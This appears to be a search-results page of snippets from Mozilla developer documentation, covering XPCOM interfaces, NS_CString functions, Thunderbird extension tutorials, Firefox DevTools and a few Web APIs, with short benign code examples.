this is true for the original uri which is redirected.
nsIHttpActivityDistributor
netwerk/protocol/http/nsihttpactivityobserver.idlscriptable
this interface is used to register and unregister clients that wish to observe http transport activity.
...
this is primarily useful for debuggers and other traffic monitoring tasks.
...void addobserver( in nsihttpactivityobserver aobserver ); parameters aobserver the nsihttpactivityobserver that should receive notifications of http transport activity;
this object's nsihttpactivityobserver.observeactivity() method will be called each time activity occurs.
nsIHttpUpgradeListener
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable the callback interface for nsihttpchannelinternal.httpupgrade;
this is called when an http protocol upgrade is finished.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3)
this is used, for example, by websockets in order to upgrade an http channel to use the websocket protocol.
...void ontransportavailable( in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout ); parameters atransport the nsisockettransport describing the socket connection between the browser and the server;
this socket can now be used for the new protocol instead of http.
nsIIFrameBoxObject
layout/xul/base/public/nsiiframeboxobject.idlscriptable please add a summary to
this article.
... inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul iframe element implements
this interface.
...the general.xml binding uses
this property to gain access to the webnavigation, contentdocument and contentwindow properties.
nsIINIParserFactory
xpcom/ds/nsiiniparser.idlscriptable
this interface is used to create nsiiniparser objects for use in parsing ini files.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) see example for how to use
this interface.
...example obtaining a parser object to obtain a parser for an ini file, you can use code that looks like
this: to get an nsiiniparser instance for an ini file, you may use the following code: // create an nsilocalfile var cl = "@mozilla.org/file/local;1"; var interf = components.interfaces.nsilocalfile; var file = components.classes[cl].createinstance(interf); // init the file with the path to your ini file var path = "c:\\temp\\example.ini"; file.initwithpath(path); // create the nsiiniparserfactory v...
nsIJumpListBuilder
widget/public/nsijumplistbuilder.idlscriptable please add a summary to
this article.
...indicates if a commit has already occurred in
this session.
...deleteactivelist() deletes any currently applied taskbar jump list for
this application.
nsILoginManagerPrompter
toolkit/components/passwordmgr/public/nsiloginmanagerprompter.idlscriptable please add a summary to
this article.
...to call
this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter.
...the prompt will be associated with
this window (or, if a notification bar is being used, topmost opener in some cases).
nsIMarkupDocumentViewer
bidioptions pruint32 use
this attribute to access all the bidi options in one operation.
...
this may be either "logical" or "visual".
... note:
this attribute was added late in the gecko 2.0 development cycle and was implemented by the nsimarkupdocumentviewer_mozilla_2_0_branch interface; it was merged into
this interface in gecko 7.0.
nsIMemoryMultiReporterCallback
xpcom/base/nsimemoryreporter.idlscriptable implement
this interface to handle callbacks from nsimemorymultireporter instances.
...implement
this method to handle the report information.
... closure an nsisupports object providing any additional data the callback might need; you provide
this when you call nsimemorymultireporter.collectreports().
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable
this interface provides access to sets of microsummaries returned from the nsimicrosummaryservice.
... 1.5 / seamonkey 1.0) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosummaryobserver observer); methods addobserver() add a microsummary observer to
this microsummary set.
...removeobserver() remove a microsummary observer from
this microsummary.
nsIMsgDatabase
mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to
this article.
... void forceclosed(); clearcachedhdrs() void clearcachedhdrs(); resethdrcachesize() void resethdrcachesize(in unsigned long size); getmsghdrforkey() nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); parameters key getmsghdrformessageid() nsimsgdbhdr getmsghdrformessageid(in string messageid); parameters messageid containskey() returns whether or not
this database contains the given key.
... in nsidbchangelistener instigator); deletemessage() void deletemessage(in nsmsgkey key, in nsidbchangelistener instigator, in boolean commit); deleteheader() void deleteheader(in nsimsgdbhdr msghdr, in nsidbchangelistener instigator, in boolean commit, in boolean notify); removeheadermdbrow()
this is a lower level routine that doesn't remove the header from its thread or adjust message counts.
nsIMsgSearchTerm
this is a property of the nsimsgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id.
... */ attribute acstring hdrproperty; customid /// identifier for a custom id used for
this term, if any.
...possible values: * plugin filter imapflag user whitelist * @return true if matches */ boolean matchjunkscoreorigin(in string ajunkscoreorigin); matchbody /** * test if the body of the passed in message matches "
this" search term.
nsIPermission
netwerk/base/public/nsipermission.idlscriptable please add a summary to
this article.
...
this is a case-sensitive string.
...
this string is specified by the consumer when adding a permission via nsipermissionmanager read only.
nsIPlacesView
views do
this, and other things, by implementing the nsiplacesview interface.
...
this may be modified dynamically to update the view.
...if there are multiple selected nodes,
this is null.
nsIPrinterEnumerator
widget/nsiprintoptions.idlscriptable please add a summary to
this article.
...
this name should also be present in printernamelist.
...
this is not necessarily gecko's default printer; see nsiprintsettingsservice.defaultprintername for that.
nsIProfile
this interface was superseded by the nsitoolkitprofileservice interface in gecko 1.8.1.
...to get access to the profile manager service: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.nsiprofile); note:
this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1.
... shutdowncurrentprofile() shuts down the current profile;
this essentially "logs out" the current profile.
nsIPrompt
netwerk/base/public/nsiprompt.idlscriptable
this is the prompt interface which can be used without knowledge of a parent window.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note:
this interface is identical to nsipromptservice but without the parent nsidomwindow parameter.
...if you are using
this interface, you must remove the nsidomwindow arguments from those methods.
nsIPropertyBag
xpcom/ds/nsipropertybag.idlscriptable
this interface is used to store a set of properties.
...services.appinfo.os simply tells us winnt only,
this is not helpful to differentiate between windows xp, vista, 7, etc.
... to do
this use nsipropertybag: services.sysinfo.getproperty("version"); //output 5.1 services.sysinfo.getproperty("name"); //output windows_nt services.sysinfo.getproperty("arch"); //output x86 services.sysinfo.getproperty("haswindowstouchinterface"); //outputs false or true if windows touch is there consult the uxp repo (//github.com/realityripple/uxp/blob/master/xpcom/base/nssysteminfo.cpp) for the properties supported.
nsIPropertyElement
xpcom/ds/nsipersistentproperties2.idlscriptable
this interface provides access to individual entries within a stringbundle.
... inherits from: nsisupports last changed in gecko 1.0 attributes attribute type description key autf8string the key used to refer to
this property.
... value astring the string value stored for
this property.
nsIProtocolProxyCallback
netwerk/base/public/nsiprotocolproxycallback.idlscriptable
this interface serves as a closure for nsiprotocolproxyservice.asyncresolve().
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void onproxyavailable(in nsicancelable arequest, in nsiuri auri, in nsiproxyinfo aproxyinfo, in nsresult astatus); methods onproxyavailable()
this method is called when proxy info is available or when an error in the proxy resolution occurs.
...
this is a failure code if the request could not be satisfied, in which case the value of astatus indicates the reason for the failure and aproxyinfo will be null.
nsIPushService
if the subscription is lost, and your code isn't listening for
this notification, you won't be able to receive messages until you create a new subscription.
... if (data ==
this.scope) { if (topic == "push-message") {
this.onpushmessage(subject); } else if (topic == "push-subscription-change") {
this.onpushsubscriptionchange(); } } }, onpushmessage(maybemessage) { if (!maybemesssage) { // the subject will be `null` for messages without data.
... pushservice.subscribe(
this.scope, scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { // ...
nsIScreenManager
widget/public/nsiscreenmanager.idlscriptable
this interface lets you get information about the display screen (or screens) attached to the user's computer.
... primaryscreen nsiscreen the primary display screen;
this is the screen with the menu bar (on the mac) or taskbar or equivalent on windows or linux.
...
this pointer's definition is specific to the platform's native widget implementation, and is typically of the same type as ns_native_window.
nsISeekableStream
methods seek()
this method moves the stream offset of the stream implementing
this interface.
... seteof()
this method truncates the stream at the current offset.
... tell()
this method reports the current offset, in bytes, from the start of the stream.
nsISessionStartup
to use
this service, use: var sessionstartup = components.classes["@mozilla.org/browser/sessionstartup;1"] .getservice(components.interfaces.nsisessionstartup); method overview boolean dorestore(); attributes attribute type description sessiontype unsigned long the type of session being restored;
this will be one of the session type constants.
...note: prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5),
this was a string.
... defer_session 3 the previous session is viable but shouldn't be restored without explicit action (with the exception of app tabs, which are always restored in
this case).
nsIStringBundleOverride
intl/strres/nsistringbundleoverride.idlscriptable provides the string bundle override service;
this interface is an implementation detail.
...to create an instance, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle/text-override;1"] .getservice(components.interfaces.nsistringbundleoverride); note: you should never need to use
this service directly.
... instead, the string bundle service will automatically try to load
this service.
nsIStringEnumerator
xpcom/ds/nsistringenumerator.idlscriptable please add a summary to
this article.
...
this method is generally called within a loop to iterate over the strings in the enumerator.
...
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, though it can be called without subsequent getnext() calls.
nsISupportsCString
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for ascii character strings.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsChar
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for single character values (often used to store an ascii character).
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsDouble
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for double-precision floating-point values.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsFloat
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for single-precision floating-point values.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsID
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for boolean values.
... methods tostring()
this method returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRBool
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for boolean values.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRInt16
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 16-bit signed integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRInt32
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 32-bit signed integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRInt64
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 64-bit signed integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRTime
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for prtime values.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRUint16
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 16-bit unsigned integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRUint32
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 32-bit unsigned integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRUint64
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 64-bit unsigned integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPRUint8
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for 8-bit unsigned integers.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsPrimitive
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface serves as a base interface for all of the nsisupports* family of interfaces.
... inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description type unsigned short
this attribute provides access to the type represented by the nsisupportsprimitive instance.
... remarks
this interface was frozen for gecko 1.2.
nsISupportsString
xpcom/ds/nsisupportsprimitives.idlscriptable
this interface provides scriptable access for unicode character strings.
... methods tostring()
this methods returns a string valued representation of the object.
...remarks
this interface was frozen for gecko 1.2.
nsISupportsWeakReference
xpcom/base/nsiweakreference.idlscriptable
this interface is a factory interface, which produces appropriate instances of nsiweakreference.
... weak references in
this scheme can only be produced for objects that implement
this interface.
...
this interface was frozen for gecko 0.9.9.
nsITaskbarProgress
this class wraps around the native functionality to do
this.
...
this should be used when the operation is complete or canceled.
... methods setprogressstate() sets the taskbar progress state and value for
this window.
nsIThreadInternal
xpcom/threads/nsithreadinternal.idlscriptable please add a summary to
this article.
...
this attribute may be read from any thread but must only be set on the thread corresponding to
this thread object.
... the observer will be released on the thread corresponding to
this thread object after all other events have been processed during a call to shutdown.
nsIURLParser
n parseuserinfo() userinfo = <username>:<password> void parseuserinfo( in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen ); parameters userinfo userinfolen usernamepos usernamelen passwordpos passwordlen notes starting in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6),
this no longer treats the semicolon as a "parameter string" marker.
...
this was never a valid part of a url, and is now no longer supported.
...
this makes urls with semicolons in them work correctly.
nsIUTF8ConverterService
intl/uconv/idl/nsiutf8converterservice.idlscriptable please add a summary to
this article.
...set
this to pr_true only if you suspect that astring can be mistaken for ascii / utf-8 but is actually not in ascii / utf-8 so that astring has to go through the conversion.
...no valid spec going around in mozilla code would break
this assumption.
nsIUpdateChecker
toolkit/mozapps/update/nsiupdateservice.idlscriptable
this interface describes an object that knows how to check for software updates.
...
this disables the update checking preferences.
...
this is used by any user interface that offers the user the opportunity to check for updates immediately.
nsIVariant
we mark the interface [scriptable] so that js can use methods that refer to
this interface.
...return value
this returns the same as the getasastring method.
...note that
this will do strange things with negative numbers, and float and double values greater than the numeric limits of a print64 will not convert correctly.
nsIVersionComparator
xpcom/base/nsiversioncomparator.idlscriptable
this interface is used to compare version strings.
...o version being compared, and the return value is smaller than 0, then a < b equals 0 then version, then a==b is bigger than 0, then a > b example function compareversions(a,b) { var x = services.vc.compare(a,b); if(x == 0) return a + "==" + b; else if(x > 0) return a + ">" + b; return a + "<" + b; } dump(compareversions("1.0pre", "1.0")); example - compare current browser version
this example here uses nsixulappinfo component to get the version of the browser that the code is running in.
... see here: nsixulappinfo components.utils.import("resource://gre/modules/services.jsm"); var curentbrowserversion = services.appinfo.platformversion; //example: '31.*' var compareto
thisversion = '25.*'; var compareresult = services.vc.compare(curentbrowserversion, compareto
thisversion); if (compareresult == -1) { //currentbrowserversion is less than '25.*' (compareto
thisversion) } else if (compareresult == 0) { //currentbrowserversion is '25.*' (compareto
thisversion) } else if (compareresult == 1) { //currentbrowserversion is greater than '25.*' (compareto
thisversion) } else { //will never get here as services.vc.compare only returns -1, 0, or 1 } see also toolkit version format ...
nsIWeakReference
xpcom/base/nsiweakreference.idlscriptable
this interface represents a proxy for an xpcom object.
...method overview void queryreferent( in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result ); methods queryreferent()
this method queries an interface on the referent if it exists, and like nsisupports.queryinterface(), produces an owning reference to the desired interface.")}} it is designed to look and act exactly like (a proxied) nsisupports.queryinterface().
... remarks
this interface was frozen for gecko 0.9.9.
nsIWebBrowserFind
to change
this behavior, and to explicitly set the frame to search, queryinterface to nsiwebbrowserfindinframes.
... note: that you can control whether the search propagates into child or parent frames explicitly using nsiwebbrowserfindinframes, but if one, but not both, of searchsubframes and searchparentframes are set,
this returns false.
...
this must be non-empty to search.
nsIWebSocketChannel
this is used in the case of a redirect or uri "resolution" (for example resolving a resource: uri to a file: uri) so that the original pre-redirect uri can still be obtained.
...
this is never null.
...void asyncopen( in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext ); parameters auri the uri of the websocket protocol;
this may be redirected.
nsIZipReaderCache
modules/libjar/nsizipreader.idlscriptable please add a summary to
this article.
...note: if nsizipreader.close has been called on the shared nsizipreader,
this method will return the closed nsizipreader nsizipreader getzip( in nsifile zipfile ); parameters zipfile the zip file.
...the number of outstanding entries can be much greater than
this number,
this is the count for those otherwise unused entries.
NS_IF_RELEASE
this page still needs some work, help to improve it!
...
this macro also sets the pointer to null.
...
this macro should only be used when the pointer might be null; otherwise, use ns_release.
NS_CStringContainerInit
remarks
this function is equivalent to ns_cstringcontainerinit2(container, nsnull, 0, 0).
... // call
this function to release any memory owned by |str| when done.
... ns_cstringcontainerfinish(str); } history
this function was finalized for mozilla 1.7.
NS_CStringCutData
this is a low-level api.
... remarks
this function is defined inline as a wrapper around ns_cstringsetdatarange .
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello world"); // remove " world" portion of string ns_cstringcutdata(str, 5, pr_uint32_max); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello" ns_cstringcontainerfinish(str); history
this function was frozen for mozilla 1.7.
NS_CStringGetData
aterminated [out]
this optional result parameter indicates whether or not adata is null-terminated.
... it may be null if the caller is not interested in
this information.
...pruint32 countchar(const nsacstring& str, char c) { const char* data; pruint32 len = ns_cstringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history
this function was finalized for mozilla 1.7.
NS_CStringSetData
this is a low-level api.
... adata [in] a raw character array to copy into
this string.
... } ns_cstringcontainerfinish(str); } history
this function was frozen for mozilla 1.7.
NS_CStringSetDataRange
this is a low-level api.
... adata [in] a raw character array to copy into
this string.
...ringgetdata(str, &sp); ml = ns_cstringgetdata(matchval, &mp); nl = ns_cstringgetdata(newval, &np); for (const char* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) == 0) { pruint32 offset = iter - sp; ns_cstringsetdatarange(str, offset, ml, np, nl); sl = ns_cstringgetdata(str, &sp); iter = sp + offset + nl - 1; } } } history
this function was frozen for mozilla 1.7.
NS_StringContainerFinish
this is a low-level api.
... return values
this function does not return a value.
... history
this function was frozen for mozilla 1.7.
NS_StringContainerInit
this is a low-level api.
... // be sure to call
this function to release any memory owned by |str| when done.
... ns_stringcontainerfinish(str); } history
this function was frozen for mozilla 1.7.
NS_StringGetData
this is a low-level api.
...aterminated [out]
this optional result parameter indicates whether or not adata is null-terminated.
... example code pruint32 countchar(const nsastring& str, prunichar c) { const prunichar* data; pruint32 len = ns_stringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history
this function was frozen for mozilla 1.7.
NS_StringSetData
this is a low-level api.
...adata [in] a raw character array to copy into
this string.
... } ns_stringcontainerfinish(str); } history
this function was frozen for mozilla 1.7.
NS_StringSetDataRange
this is a low-level api.
...adata [in] a raw character array to copy into
this string.
... ml = ns_stringgetdata(matchval, &mp); nl = ns_stringgetdata(newval, &np); for (const prunichar* iter = sp; iter <= sp + sl - ml; ++iter) { if (memcmp(iter, mp, ml) == 0) { pruint32 offset = iter - sp; ns_stringsetdatarange(str, offset, ml, np, nl); sl = ns_stringgetdata(str, &sp); iter = sp + offset + nl - 1; } } } history
this function was frozen for mozilla 1.7.
nsMsgMessageFlags
elided 0x00000020 indicates whether or not the thread rooted at
this message is open or closed in the ui.
... offline 0x00000080 indicates whether or not we have
this message in the offline cache.
... watched 0x00000100 indicates whether or not
this thread is being watched.
nsStaticModuleInfo
summary
this data structure is used by ns_initxpcom3 to specify static xpcom modules.
... #include "nsxpcom.h" struct nsstaticmoduleinfo { const char* name; nsgetmoduleproc getmodule; }; members name
this member provides the name of the module as a null-terminated, ascii-valued character array.
... getmodule
this member provides a function pointer of type nsgetmoduleproc that returns a nsimodule instance.
Status, Recent Changes, and Plans
i'm sorry
this section is in the way for first-time readers.
...i put
this section at the top so that checking for recent changes will be easy.
... recent changes to
this document removed the statement that == and != between an nscomptr and a raw pointer or literal 0 does not work on some compilers since it is no longer true.
XUL Overlays
rather than redefining
this set of buttons each time they are necessary in a particular dialog, base xul files can overlay the xul file in which these buttons are defined, dialogoverlay.xul.
... (actually, the implementation is one step more complicated than
this: base files overlay dialogoverlay.xul from the global component directory, which in turn overlays a platform-specific xul file such as platformdialogoverlay.xul.
...toolbars, submenus, boxes, and any other subtrees that appear in multiple places can be defined in overlays files in
this way and referenced for reuse wherever necessary.
Events
this reference will help you track those events down and learn how to use them.
...no load event is fired in
this case.
...if custom column handlers need to do something,
this is likely the event you are looking for.
Gloda examples
this content covers features introduced in thunderbird 3
this page provides some examples for using gloda.
... a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already,
this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acolle...
...
this requires two chained asynchronous calls: //first take an email address and turn it into an identity object id_q = gloda.newquery(gloda.noun_identity); id_q.kind("email"); id_q.value("test@example.com"); id_coll = id_q.getcollection({ onitemsadded: function _onitemsadded(aitems, acollection) { }, onitemsmodified: function _onitemsmodified(aitems, ac...
Message Interfaces
nsimsghdr nsimsghdr -
this interface describes headers for all mail messages.
...nsimsgdbhdr nsimsgdbhdr -
this interface describes headers for mail messages.
...nsimsgthread nsimsgthread -
this interface is used to interact with threads in thunderbird.
Spam filtering
warning: the content of
this article may be out of date.
... currently, spam filtering is does not work for news, but it would be possible to add support for
this.
... initial state user action table changes unknown (user can't see
this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see
this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, add tokens to bad not junk mark as not junk no op junk mark as junk no op junk mark as not junk remove tokens from bad, add tokens to good ...
Building a Thunderbird extension 1: introduction
warning:
this content is for older versions of thunderbird.
...
this tutorial will introduce you to the components of a thunderbird extension and will show you how to build your own.
... the tutorial has the following pages: introduction (
this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (from your own site or from http://addons.mozilla.org/)
this tutorial is compatible with thunderbird versions 2,3 and 5.
Building a Thunderbird extension 2: extension file layout
warning:
this content is for older versions of thunderbird.
...when
this tutorial is finished, our extension will look like
this: myfirstext.xpi: //created in step 8 /install.rdf //created in step 3 /chrome.manifest //created in step 4 /chrome/ /content/ /content/myhelloworld.xul //created in step 5 /content/ove...
...
this directory could be created anywhere on your filesystem.
Thunderbird extensions
this documention series focuses on thunderbird.
... warning:
this content is for older versions of thunderbird.
...these links to help through
this journey.
Toolkit version format
this document is a reference for the version format, as used in firefox 1.5 (xulrunner 1.8) and later.
...
this format is used by the extension manager, software update, and other parts of the platform.
... versions in at least the following places must conform to
this format: addon's and target application's version in install and update manifests.
Declaring and Calling Functions
example: no input parameters in
this example, we declare the libc clock() function, which returns the elapsed time since system startup, then fetch and output that value.
... example: multiple input parameters
this example declares the libc asctime() function, which converts a time structure into a string.
... const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a more complete version of
this example (including the implementation of the struct_tm type), see the structures example.
Memory Management
this is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: a function or static data declared using the declare() method will hold that library alive.
...
this should be obvious, but is important enough to be worth stating explicitly.
...
this bypasses javascript's memory management and lets you handle memory management yourself.
Blocking By Domain - Plugins
there are two versions of plugin blocking: first-party plugin blocking list sites on
this list may not use plugins.
... third-party plugin block list sites on
this list may not use plugins when they are loaded into a third-party iframe in another site.
...sites in
this category may include advertisers, social media sites, and other utilities.
Gecko Plugin API Reference - Plugins
s posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in plug-in side plug-in api
this chapter describes methods in the plug-in api that are available from the plug-in object.
... npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api
this chapter describes methods in the plug-in api that are available from the browser.
... npn_getauthenticationinfo
this function is called by plug-ins to get http authentication information from the browser.
Preferences System
this document describes toolkit's preferences system.
... using
this system it is possible to create preferences windows that display and operate appropriately on various platforms (windows, macos x and gnome).
...reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like
this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
DOM Inspector FAQ - Firefox Developer Tools
inspect a url
this just focuses the dom inspector's address bar, which allow you to inspect arbitrary documents which can be accessed via a url.
...
this causes the document to be loaded in the browser pane.
... original document information author(s): christopher aillon last updated date: november 11, 2003 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Break on DOM mutation - Firefox Developer Tools
examples for when
this breakpoint is triggered are calling node.appendchild() and node.removechild(), calling childnode.remove() or setting element.innerhtml on one of the subnodes.
... examples for when
this breakpoint is triggered are calling element.setattribute(), element.removeattribute(), and element.classlist.add(), or setting element.id.
... examples for when
this breakpoint is triggered are calling element.remove() or node.removechild() on its parent node.
Examine, modify, and watch variables - Firefox Developer Tools
this feature isn't yet supported in the new debugger.
... examine variables when the code has stopped at a breakpoint, you can examine its state in the variables pane of the debugger: variables are grouped by scope: in function scope you'll see the built-in arguments and
this variables as well as local variables defined by the function like user and greeting.
... you can filter the variables that are displayed, either by using the "*" modifier in the script filter, or by typing into the filter variables box, if you have enabled
this in the debugger settings.
Use a source map - Firefox Developer Tools
the comment's syntax is like
this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html.
...
this page loads a source called "main.js" that was originally written in coffeescript and compiled to javascript.
... the compiled source contains a comment like
this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescript source now appears as "main.coffee", and we can debug it just like any other source.
Inspecting web sockets - Firefox Developer Tools
this article explores what functionality the web socket inspector makes available.
...
this allows you to capture only the frames that you are interested in.
...
this filter can be combined with the others, to display, for example, only messages for control frames sent by the browser.
Network Monitor - Firefox Developer Tools
the just opened tool looks like
this: either action causes the network monitor to begin monitoring network activity.
... once the tool is monitoring network requests, the display looks like
this: when it is actively monitoring activity, the network monitor records network requests any time the toolbox is open, even if the network monitor itself is not selected.
...
this means you can start debugging a page in, for example, the web console, then switch to the network monitor to see network activity without having to reload the page.
Sorting algorithms comparison - Firefox Developer Tools
this article describes a simple example program that we use in two of the performance guides: the guide to the call tree and the guide to the flame chart.
...
this program compares the performance of three different sorting algorithms: bubble sort selection sort quicksort it consists of the following functions: sortall() top-level function.
... its call graph looks like
this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.
Shader Editor - Firefox Developer Tools
note:
this tool has been deprecated and will soon be removed from firefox.
... here's another screencast, showing how you can use the shader editor for complex applications (in
this case, the unreal engine demo): opening the shader editor the shader editor is disabled by default.
...
this is useful for focusing on certain shaders or hiding overlapping geometry: if you click the entry, its vertex and fragment shaders are shown in the other two panes, and you can edit them.
Accelerometer - Web APIs
to use
this sensor, the user must grant permission to the 'accelerometer', device sensor through the permissions api.
...
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
AddressErrors.languageCode - Web APIs
syntax var languageerror = addresserrors.languagecode; value if the value specified in the paymentaddress object's languagecode property could not be validated,
this property contains a domstring offering a human-readable explanation of the validation error and offers suggestions for correcting it.
...
this validation might be as simple as ensuring the text of the string is compliant with the syntax defined in bcp-47, or as detailed as actually verifying that the specified string matches a value from a database.
... if the languagecode value was validated successfully,
this property is not included in the addresserrors object.
Animation.onremove - Web APIs
this event is sent when the animation is removed (i.e., put into an active replace state).
...
this could result in a huge animations list, which could create a memory leak.
... for
this reason, modern browsers automatically remove overriding forward filling animations.
Animation.persist() - Web APIs
this could result in a huge animations list, which could create a memory leak.
... for
this reason, modern browsers automatically remove overriding forward filling animations.
...
this will be active for each animation by default, or persisted if the persist() call is uncommented.
AnimationEvent.initAnimationEvent() - Web APIs
animationevent created
this way are untrusted.
... note: during the standardization process,
this method was removed from the specification.
...do not use
this method; instead, use the standard constructor, animationevent(), to create a synthetic animationevent.
Attr.namespaceURI - Web APIs
before dom4
this api was defined within the node interface.
... syntax namespace = attribute.namespaceuri example in
this snippet, an attribute is being examined for its localname and its namespaceuri.
